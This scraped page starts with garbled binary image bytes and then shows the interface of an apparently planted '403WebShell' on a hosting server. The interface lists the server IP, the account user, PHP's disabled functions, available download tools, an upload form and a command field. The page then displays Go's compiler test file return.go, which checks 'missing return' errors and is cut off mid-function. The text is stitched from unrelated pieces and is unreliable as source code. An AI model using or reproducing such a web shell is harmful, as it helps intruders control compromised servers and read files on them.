JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.217  /  Your IP : 216.73.216.177
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/golang/1.22.0/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/self/root/opt/golang/1.22.0/test//return.go
// errorcheck

// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test compiler diagnosis of function missing return statements.
// See issue 65 and golang.org/s/go11return.

package p

type T int

var x interface{}
var c chan int

func external() int // ok

func _() int {
} // ERROR "missing return"

func _() int {
	print(1)
} // ERROR "missing return"

// return is okay
func _() int {
	print(1)
	return 2
}

// goto is okay
func _() int {
L:
	print(1)
	goto L
}

// panic is okay
func _() int {
	print(1)
	panic(2)
}

// but only builtin panic
func _() int {
	var panic = func(int) {}
	print(1)
	panic(2)
} // ERROR "missing return"

// block ending in terminating statement is okay
func _() int {
	{
		print(1)
		return 2
	}
}

// block ending in terminating statement is okay
func _() int {
L:
	{
		print(1)
		goto L
	}
}

// block ending in terminating statement is okay
func _() int {
	print(1)
	{
		panic(2)
	}
}

// adding more code - even though it is dead - now requires a return

func _() int {
	print(1)
	return 2
	print(3)
} // ERROR "missing return"

func _() int {
L:
	print(1)
	goto L
	print(3)
} // ERROR "missing return"

func _() int {
	print(1)
	panic(2)
	print(3)
} // ERROR "missing return"

func _() int {
	{
		print(1)
		return 2
		print(3)
	}
} // ERROR "missing return"

func _() int {
L:
	{
		print(1)
		goto L
		print(3)
	}
} // ERROR "missing return"

func _() int {
	print(1)
	{
		panic(2)
		print(3)
	}
} // ERROR "missing return"

func _() int {
	{
		print(1)
		return 2
	}
	print(3)
} // ERROR "missing return"

func _() int {
L:
	{
		print(1)
		goto L
	}
	print(3)
} // ERROR "missing return"

func _() int {
	print(1)
	{
		panic(2)
	}
	print(3)
} // ERROR "missing return"

// even an empty dead block triggers the message, because it
// becomes the final statement.

func _() int {
	print(1)
	return 2
	{}
} // ERROR "missing return"

func _() int {
L:
	print(1)
	goto L
	{}
} // ERROR "missing return"

func _() int {
	print(1)
	panic(2)
	{}
} // ERROR "missing return"

func _() int {
	{
		print(1)
		return 2
		{}
	}
} // ERROR "missing return"

func _() int {
L:
	{
		print(1)
		goto L
		{}
	}
} // ERROR "missing return"

func _() int {
	print(1)
	{
		panic(2)
		{}
	}
} // ERROR "missing return"

func _() int {
	{
		print(1)
		return 2
	}
	{}
} // ERROR "missing return"

func _() int {
L:
	{
		print(1)
		goto L
	}
	{}
} // ERROR "missing return"

func _() int {
	print(1)
	{
		panic(2)
	}
	{}
} // ERROR "missing return"

// if-else chain with final else and all terminating is okay

func _() int {
	print(1)
	if x == nil {
		panic(2)
	} else {
		panic(3)
	}
}

func _() int {
L:
	print(1)
	if x == nil {
		panic(2)
	} else {
		goto L
	}
}

func _() int {
L:
	print(1)
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 2 {
		panic(3)
	} else {
		goto L
	}
}

// if-else chain missing final else is not okay, even if the
// conditions cover every possible case.

func _() int {
	print(1)
	if x == nil {
		panic(2)
	} else if x != nil {
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	print(1)
	if x == nil {
		panic(2)
	}
} // ERROR "missing return"

func _() int {
	print(1)
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 1 {
		panic(3)
	}
} // ERROR "missing return"


// for { loops that never break are okay.

func _() int {
	print(1)
	for {}
}

func _() int {
	for {
		for {
			break
		}
	}
}

func _() int {
	for {
		L:
		for {
			break L
		}
	}
}

// for { loops that break are not okay.

func _() int {
	print(1)
	for { break }
} // ERROR "missing return"

func _() int {
	for {
		for {
		}
		break
	}
} // ERROR "missing return"

func _() int {
L:
	for {
		for {
			break L
		}
	}
} // ERROR "missing return"

// if there's a condition - even "true" - the loops are no longer syntactically terminating

func _() int {
	print(1)
	for x == nil {}
} // ERROR "missing return"

func _() int {
	for x == nil {
		for {
			break
		}
	}
} // ERROR "missing return"

func _() int {
	for x == nil {
		L:
		for {
			break L
		}
	}	
} // ERROR "missing return"

func _() int {
	print(1)
	for true {}
} // ERROR "missing return"

func _() int {
	for true {
		for {
			break
		}
	}
} // ERROR "missing return"

func _() int {
	for true {
		L:
		for {
			break L
		}
	}
} // ERROR "missing return"

// select in which all cases terminate and none break are okay.

func _() int {
	print(1)
	select{}
}

func _() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	}
}

func _() int {
	print(1)
	select {
	case <-c:
		print(2)
		for{}
	}
}

func _() int {
L:
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		goto L
	}
}

func _() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	default:
		select{}
	}
}

// if any cases don't terminate, the select isn't okay anymore

func _() int {
	print(1)
	select {
	case <-c:
		print(2)
	}
} // ERROR "missing return"

func _() int {
L:
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
		goto L
	case c <- 1:
		print(2)
	}
} // ERROR "missing return"


func _() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	default:
		print(2)
	}
} // ERROR "missing return"


// if any breaks refer to the select, the select isn't okay anymore, even if they're dead

func _() int {
	print(1)
	select{ default: break }
} // ERROR "missing return"

func _() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
		break
	}
} // ERROR "missing return"

func _() int {
	print(1)
L:
	select {
	case <-c:
		print(2)
		for{ break L }
	}
} // ERROR "missing return"

func _() int {
	print(1)
L:
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		break L
	}
} // ERROR "missing return"

func _() int {
	print(1)
	select {
	case <-c:
		print(1)
		panic("abc")
	default:
		select{}
		break
	}
} // ERROR "missing return"

// switch with default in which all cases terminate is okay

func _() int {
	print(1)
	switch x {
	case 1:
		print(2)
		panic(3)
	default:
		return 4
	}
}

func _() int {
	print(1)
	switch x {
	default:
		return 4
	case 1:
		print(2)
		panic(3)
	}
}

func _() int {
	print(1)
	switch x {
	case 1:
		print(2)
		fallthrough
	default:
		return 4
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

func _() int {
	print(1)
	switch {
	}
} // ERROR "missing return"


func _() int {
	print(1)
	switch x {
	case 1:
		print(2)
		panic(3)
	case 2:
		return 4
	}
} // ERROR "missing return"

func _() int {
	print(1)
	switch x {
	case 2:
		return 4
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	print(1)
	switch x {
	case 1:
		print(2)
		fallthrough
	case 2:
		return 4
	}
} // ERROR "missing return"

func _() int {
	print(1)
	switch x {
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

func _() int {
	print(1)
L:
	switch x {
	case 1:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

func _() int {
	print(1)
	switch x {
	default:
		return 4
		break
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	print(1)
L:
	switch x {
	case 1:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

// type switch with default in which all cases terminate is okay

func _() int {
	print(1)
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	default:
		return 4
	}
}

func _() int {
	print(1)
	switch x.(type) {
	default:
		return 4
	case int:
		print(2)
		panic(3)
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

func _() int {
	print(1)
	switch {
	}
} // ERROR "missing return"


func _() int {
	print(1)
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	case float64:
		return 4
	}
} // ERROR "missing return"

func _() int {
	print(1)
	switch x.(type) {
	case float64:
		return 4
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	print(1)
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

func _() int {
	print(1)
L:
	switch x.(type) {
	case int:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

func _() int {
	print(1)
	switch x.(type) {
	default:
		return 4
		break
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	print(1)
L:
	switch x.(type) {
	case int:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

// again, but without the leading print(1).
// testing that everything works when the terminating statement is first.

func _() int {
} // ERROR "missing return"

// return is okay
func _() int {
	return 2
}

// goto is okay
func _() int {
L:
	goto L
}

// panic is okay
func _() int {
	panic(2)
}

// but only builtin panic
func _() int {
	var panic = func(int) {}
	panic(2)
} // ERROR "missing return"

// block ending in terminating statement is okay
func _() int {
	{
		return 2
	}
}

// block ending in terminating statement is okay
func _() int {
L:
	{
		goto L
	}
}

// block ending in terminating statement is okay
func _() int {
	{
		panic(2)
	}
}

// adding more code - even though it is dead - now requires a return

func _() int {
	return 2
	print(3)
} // ERROR "missing return"

func _() int {
L:
	goto L
	print(3)
} // ERROR "missing return"

func _() int {
	panic(2)
	print(3)
} // ERROR "missing return"

func _() int {
	{
		return 2
		print(3)
	}
} // ERROR "missing return"

func _() int {
L:
	{
		goto L
		print(3)
	}
} // ERROR "missing return"

func _() int {
	{
		panic(2)
		print(3)
	}
} // ERROR "missing return"

func _() int {
	{
		return 2
	}
	print(3)
} // ERROR "missing return"

func _() int {
L:
	{
		goto L
	}
	print(3)
} // ERROR "missing return"

func _() int {
	{
		panic(2)
	}
	print(3)
} // ERROR "missing return"

// even an empty dead block triggers the message, because it
// becomes the final statement.

func _() int {
	return 2
	{}
} // ERROR "missing return"

func _() int {
L:
	goto L
	{}
} // ERROR "missing return"

func _() int {
	panic(2)
	{}
} // ERROR "missing return"

func _() int {
	{
		return 2
		{}
	}
} // ERROR "missing return"

func _() int {
L:
	{
		goto L
		{}
	}
} // ERROR "missing return"

func _() int {
	{
		panic(2)
		{}
	}
} // ERROR "missing return"

func _() int {
	{
		return 2
	}
	{}
} // ERROR "missing return"

func _() int {
L:
	{
		goto L
	}
	{}
} // ERROR "missing return"

func _() int {
	{
		panic(2)
	}
	{}
} // ERROR "missing return"

// if-else chain with final else and all terminating is okay

func _() int {
	if x == nil {
		panic(2)
	} else {
		panic(3)
	}
}

func _() int {
L:
	if x == nil {
		panic(2)
	} else {
		goto L
	}
}

func _() int {
L:
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 2 {
		panic(3)
	} else {
		goto L
	}
}

// if-else chain missing final else is not okay, even if the
// conditions cover every possible case.

func _() int {
	if x == nil {
		panic(2)
	} else if x != nil {
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	if x == nil {
		panic(2)
	}
} // ERROR "missing return"

func _() int {
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 1 {
		panic(3)
	}
} // ERROR "missing return"


// for { loops that never break are okay.

func _() int {
	for {}
}

func _() int {
	for {
		for {
			break
		}
	}
}

func _() int {
	for {
		L:
		for {
			break L
		}
	}
}

// for { loops that break are not okay.

func _() int {
	for { break }
} // ERROR "missing return"

func _() int {
	for {
		for {
		}
		break
	}
} // ERROR "missing return"

func _() int {
L:
	for {
		for {
			break L
		}
	}
} // ERROR "missing return"

// if there's a condition - even "true" - the loops are no longer syntactically terminating

func _() int {
	for x == nil {}
} // ERROR "missing return"

func _() int {
	for x == nil {
		for {
			break
		}
	}
} // ERROR "missing return"

func _() int {
	for x == nil {
		L:
		for {
			break L
		}
	}	
} // ERROR "missing return"

func _() int {
	for true {}
} // ERROR "missing return"

func _() int {
	for true {
		for {
			break
		}
	}
} // ERROR "missing return"

func _() int {
	for true {
		L:
		for {
			break L
		}
	}
} // ERROR "missing return"

// select in which all cases terminate and none break are okay.

func _() int {
	select{}
}

func _() int {
	select {
	case <-c:
		print(2)
		panic("abc")
	}
}

func _() int {
	select {
	case <-c:
		print(2)
		for{}
	}
}

func _() int {
L:
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		goto L
	}
}

func _() int {
	select {
	case <-c:
		print(2)
		panic("abc")
	default:
		select{}
	}
}

// if any cases don't terminate, the select isn't okay anymore

func _() int {
	select {
	case <-c:
		print(2)
	}
} // ERROR "missing return"

func _() int {
L:
	select {
	case <-c:
		print(2)
		panic("abc")
		goto L
	case c <- 1:
		print(2)
	}
} // ERROR "missing return"


func _() int {
	select {
	case <-c:
		print(2)
		panic("abc")
	default:
		print(2)
	}
} // ERROR "missing return"


// if any breaks refer to the select, the select isn't okay anymore, even if they're dead

func _() int {
	select{ default: break }
} // ERROR "missing return"

func _() int {
	select {
	case <-c:
		print(2)
		panic("abc")
		break
	}
} // ERROR "missing return"

func _() int {
L:
	select {
	case <-c:
		print(2)
		for{ break L }
	}
} // ERROR "missing return"

func _() int {
L:
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		break L
	}
} // ERROR "missing return"

func _() int {
	select {
	case <-c:
		panic("abc")
	default:
		select{}
		break
	}
} // ERROR "missing return"

// switch with default in which all cases terminate is okay

func _() int {
	switch x {
	case 1:
		print(2)
		panic(3)
	default:
		return 4
	}
}

func _() int {
	switch x {
	default:
		return 4
	case 1:
		print(2)
		panic(3)
	}
}

func _() int {
	switch x {
	case 1:
		print(2)
		fallthrough
	default:
		return 4
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

func _() int {
	switch {
	}
} // ERROR "missing return"


func _() int {
	switch x {
	case 1:
		print(2)
		panic(3)
	case 2:
		return 4
	}
} // ERROR "missing return"

func _() int {
	switch x {
	case 2:
		return 4
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	switch x {
	case 1:
		print(2)
		fallthrough
	case 2:
		return 4
	}
} // ERROR "missing return"

func _() int {
	switch x {
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

func _() int {
L:
	switch x {
	case 1:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

func _() int {
	switch x {
	default:
		return 4
		break
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
L:
	switch x {
	case 1:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

// type switch with default in which all cases terminate is okay

func _() int {
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	default:
		return 4
	}
}

func _() int {
	switch x.(type) {
	default:
		return 4
	case int:
		print(2)
		panic(3)
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

func _() int {
	switch {
	}
} // ERROR "missing return"


func _() int {
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	case float64:
		return 4
	}
} // ERROR "missing return"

func _() int {
	switch x.(type) {
	case float64:
		return 4
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

func _() int {
L:
	switch x.(type) {
	case int:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

func _() int {
	switch x.(type) {
	default:
		return 4
		break
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

func _() int {
L:
	switch x.(type) {
	case int:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

func _() int {
	switch x.(type) {
	default:
		return 4
	case int, float64:
		print(2)
		panic(3)
	}
}

// again, with func literals

var _ = func() int {
} // ERROR "missing return"

var _ = func() int {
	print(1)
} // ERROR "missing return"

// return is okay
var _ = func() int {
	print(1)
	return 2
}

// goto is okay
var _ = func() int {
L:
	print(1)
	goto L
}

// panic is okay
var _ = func() int {
	print(1)
	panic(2)
}

// but only builtin panic
var _ = func() int {
	var panic = func(int) {}
	print(1)
	panic(2)
} // ERROR "missing return"

// block ending in terminating statement is okay
var _ = func() int {
	{
		print(1)
		return 2
	}
}

// block ending in terminating statement is okay
var _ = func() int {
L:
	{
		print(1)
		goto L
	}
}

// block ending in terminating statement is okay
var _ = func() int {
	print(1)
	{
		panic(2)
	}
}

// adding more code - even though it is dead - now requires a return

var _ = func() int {
	print(1)
	return 2
	print(3)
} // ERROR "missing return"

var _ = func() int {
L:
	print(1)
	goto L
	print(3)
} // ERROR "missing return"

var _ = func() int {
	print(1)
	panic(2)
	print(3)
} // ERROR "missing return"

var _ = func() int {
	{
		print(1)
		return 2
		print(3)
	}
} // ERROR "missing return"

var _ = func() int {
L:
	{
		print(1)
		goto L
		print(3)
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	{
		panic(2)
		print(3)
	}
} // ERROR "missing return"

var _ = func() int {
	{
		print(1)
		return 2
	}
	print(3)
} // ERROR "missing return"

var _ = func() int {
L:
	{
		print(1)
		goto L
	}
	print(3)
} // ERROR "missing return"

var _ = func() int {
	print(1)
	{
		panic(2)
	}
	print(3)
} // ERROR "missing return"

// even an empty dead block triggers the message, because it
// becomes the final statement.

var _ = func() int {
	print(1)
	return 2
	{}
} // ERROR "missing return"

var _ = func() int {
L:
	print(1)
	goto L
	{}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	panic(2)
	{}
} // ERROR "missing return"

var _ = func() int {
	{
		print(1)
		return 2
		{}
	}
} // ERROR "missing return"

var _ = func() int {
L:
	{
		print(1)
		goto L
		{}
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	{
		panic(2)
		{}
	}
} // ERROR "missing return"

var _ = func() int {
	{
		print(1)
		return 2
	}
	{}
} // ERROR "missing return"

var _ = func() int {
L:
	{
		print(1)
		goto L
	}
	{}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	{
		panic(2)
	}
	{}
} // ERROR "missing return"

// if-else chain with final else and all terminating is okay

var _ = func() int {
	print(1)
	if x == nil {
		panic(2)
	} else {
		panic(3)
	}
}

var _ = func() int {
L:
	print(1)
	if x == nil {
		panic(2)
	} else {
		goto L
	}
}

var _ = func() int {
L:
	print(1)
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 2 {
		panic(3)
	} else {
		goto L
	}
}

// if-else chain missing final else is not okay, even if the
// conditions cover every possible case.

var _ = func() int {
	print(1)
	if x == nil {
		panic(2)
	} else if x != nil {
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	if x == nil {
		panic(2)
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 1 {
		panic(3)
	}
} // ERROR "missing return"


// for { loops that never break are okay.

var _ = func() int {
	print(1)
	for {}
}

var _ = func() int {
	for {
		for {
			break
		}
	}
}

var _ = func() int {
	for {
		L:
		for {
			break L
		}
	}
}

// for { loops that break are not okay.

var _ = func() int {
	print(1)
	for { break }
} // ERROR "missing return"

var _ = func() int {
	for {
		for {
		}
		break
	}
} // ERROR "missing return"

var _ = func() int {
L:
	for {
		for {
			break L
		}
	}
} // ERROR "missing return"

// if there's a condition - even "true" - the loops are no longer syntactically terminating

var _ = func() int {
	print(1)
	for x == nil {}
} // ERROR "missing return"

var _ = func() int {
	for x == nil {
		for {
			break
		}
	}
} // ERROR "missing return"

var _ = func() int {
	for x == nil {
		L:
		for {
			break L
		}
	}	
} // ERROR "missing return"

var _ = func() int {
	print(1)
	for true {}
} // ERROR "missing return"

var _ = func() int {
	for true {
		for {
			break
		}
	}
} // ERROR "missing return"

var _ = func() int {
	for true {
		L:
		for {
			break L
		}
	}
} // ERROR "missing return"

// select in which all cases terminate and none break are okay.

var _ = func() int {
	print(1)
	select{}
}

var _ = func() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	}
}

var _ = func() int {
	print(1)
	select {
	case <-c:
		print(2)
		for{}
	}
}

var _ = func() int {
L:
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		goto L
	}
}

var _ = func() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	default:
		select{}
	}
}

// if any cases don't terminate, the select isn't okay anymore

var _ = func() int {
	print(1)
	select {
	case <-c:
		print(2)
	}
} // ERROR "missing return"

var _ = func() int {
L:
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
		goto L
	case c <- 1:
		print(2)
	}
} // ERROR "missing return"


var _ = func() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
	default:
		print(2)
	}
} // ERROR "missing return"


// if any breaks refer to the select, the select isn't okay anymore, even if they're dead

var _ = func() int {
	print(1)
	select{ default: break }
} // ERROR "missing return"

var _ = func() int {
	print(1)
	select {
	case <-c:
		print(2)
		panic("abc")
		break
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
L:
	select {
	case <-c:
		print(2)
		for{ break L }
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
L:
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		break L
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	select {
	case <-c:
		print(1)
		panic("abc")
	default:
		select{}
		break
	}
} // ERROR "missing return"

// switch with default in which all cases terminate is okay

var _ = func() int {
	print(1)
	switch x {
	case 1:
		print(2)
		panic(3)
	default:
		return 4
	}
}

var _ = func() int {
	print(1)
	switch x {
	default:
		return 4
	case 1:
		print(2)
		panic(3)
	}
}

var _ = func() int {
	print(1)
	switch x {
	case 1:
		print(2)
		fallthrough
	default:
		return 4
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

var _ = func() int {
	print(1)
	switch {
	}
} // ERROR "missing return"


var _ = func() int {
	print(1)
	switch x {
	case 1:
		print(2)
		panic(3)
	case 2:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	switch x {
	case 2:
		return 4
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	switch x {
	case 1:
		print(2)
		fallthrough
	case 2:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	switch x {
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

var _ = func() int {
	print(1)
L:
	switch x {
	case 1:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	switch x {
	default:
		return 4
		break
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
L:
	switch x {
	case 1:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

// type switch with default in which all cases terminate is okay

var _ = func() int {
	print(1)
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	default:
		return 4
	}
}

var _ = func() int {
	print(1)
	switch x.(type) {
	default:
		return 4
	case int:
		print(2)
		panic(3)
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

var _ = func() int {
	print(1)
	switch {
	}
} // ERROR "missing return"


var _ = func() int {
	print(1)
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	case float64:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	switch x.(type) {
	case float64:
		return 4
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

var _ = func() int {
	print(1)
L:
	switch x.(type) {
	case int:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
	switch x.(type) {
	default:
		return 4
		break
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	print(1)
L:
	switch x.(type) {
	case int:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

// again, but without the leading print(1).
// testing that everything works when the terminating statement is first.

var _ = func() int {
} // ERROR "missing return"

// return is okay
var _ = func() int {
	return 2
}

// goto is okay
var _ = func() int {
L:
	goto L
}

// panic is okay
var _ = func() int {
	panic(2)
}

// but only builtin panic
var _ = func() int {
	var panic = func(int) {}
	panic(2)
} // ERROR "missing return"

// block ending in terminating statement is okay
var _ = func() int {
	{
		return 2
	}
}

// block ending in terminating statement is okay
var _ = func() int {
L:
	{
		goto L
	}
}

// block ending in terminating statement is okay
var _ = func() int {
	{
		panic(2)
	}
}

// adding more code - even though it is dead - now requires a return

var _ = func() int {
	return 2
	print(3)
} // ERROR "missing return"

var _ = func() int {
L:
	goto L
	print(3)
} // ERROR "missing return"

var _ = func() int {
	panic(2)
	print(3)
} // ERROR "missing return"

var _ = func() int {
	{
		return 2
		print(3)
	}
} // ERROR "missing return"

var _ = func() int {
L:
	{
		goto L
		print(3)
	}
} // ERROR "missing return"

var _ = func() int {
	{
		panic(2)
		print(3)
	}
} // ERROR "missing return"

var _ = func() int {
	{
		return 2
	}
	print(3)
} // ERROR "missing return"

var _ = func() int {
L:
	{
		goto L
	}
	print(3)
} // ERROR "missing return"

var _ = func() int {
	{
		panic(2)
	}
	print(3)
} // ERROR "missing return"

// even an empty dead block triggers the message, because it
// becomes the final statement.

var _ = func() int {
	return 2
	{}
} // ERROR "missing return"

var _ = func() int {
L:
	goto L
	{}
} // ERROR "missing return"

var _ = func() int {
	panic(2)
	{}
} // ERROR "missing return"

var _ = func() int {
	{
		return 2
		{}
	}
} // ERROR "missing return"

var _ = func() int {
L:
	{
		goto L
		{}
	}
} // ERROR "missing return"

var _ = func() int {
	{
		panic(2)
		{}
	}
} // ERROR "missing return"

var _ = func() int {
	{
		return 2
	}
	{}
} // ERROR "missing return"

var _ = func() int {
L:
	{
		goto L
	}
	{}
} // ERROR "missing return"

var _ = func() int {
	{
		panic(2)
	}
	{}
} // ERROR "missing return"

// if-else chain with final else and all terminating is okay

var _ = func() int {
	if x == nil {
		panic(2)
	} else {
		panic(3)
	}
}

var _ = func() int {
L:
	if x == nil {
		panic(2)
	} else {
		goto L
	}
}

var _ = func() int {
L:
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 2 {
		panic(3)
	} else {
		goto L
	}
}

// if-else chain missing final else is not okay, even if the
// conditions cover every possible case.

var _ = func() int {
	if x == nil {
		panic(2)
	} else if x != nil {
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	if x == nil {
		panic(2)
	}
} // ERROR "missing return"

var _ = func() int {
	if x == nil {
		panic(2)
	} else if x == 1 {
		return 0
	} else if x != 1 {
		panic(3)
	}
} // ERROR "missing return"


// for { loops that never break are okay.

var _ = func() int {
	for {}
}

var _ = func() int {
	for {
		for {
			break
		}
	}
}

var _ = func() int {
	for {
		L:
		for {
			break L
		}
	}
}

// for { loops that break are not okay.

var _ = func() int {
	for { break }
} // ERROR "missing return"

var _ = func() int {
	for {
		for {
		}
		break
	}
} // ERROR "missing return"

var _ = func() int {
L:
	for {
		for {
			break L
		}
	}
} // ERROR "missing return"

// if there's a condition - even "true" - the loops are no longer syntactically terminating

var _ = func() int {
	for x == nil {}
} // ERROR "missing return"

var _ = func() int {
	for x == nil {
		for {
			break
		}
	}
} // ERROR "missing return"

var _ = func() int {
	for x == nil {
		L:
		for {
			break L
		}
	}	
} // ERROR "missing return"

var _ = func() int {
	for true {}
} // ERROR "missing return"

var _ = func() int {
	for true {
		for {
			break
		}
	}
} // ERROR "missing return"

var _ = func() int {
	for true {
		L:
		for {
			break L
		}
	}
} // ERROR "missing return"

// select in which all cases terminate and none break are okay.

var _ = func() int {
	select{}
}

var _ = func() int {
	select {
	case <-c:
		print(2)
		panic("abc")
	}
}

var _ = func() int {
	select {
	case <-c:
		print(2)
		for{}
	}
}

var _ = func() int {
L:
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		goto L
	}
}

var _ = func() int {
	select {
	case <-c:
		print(2)
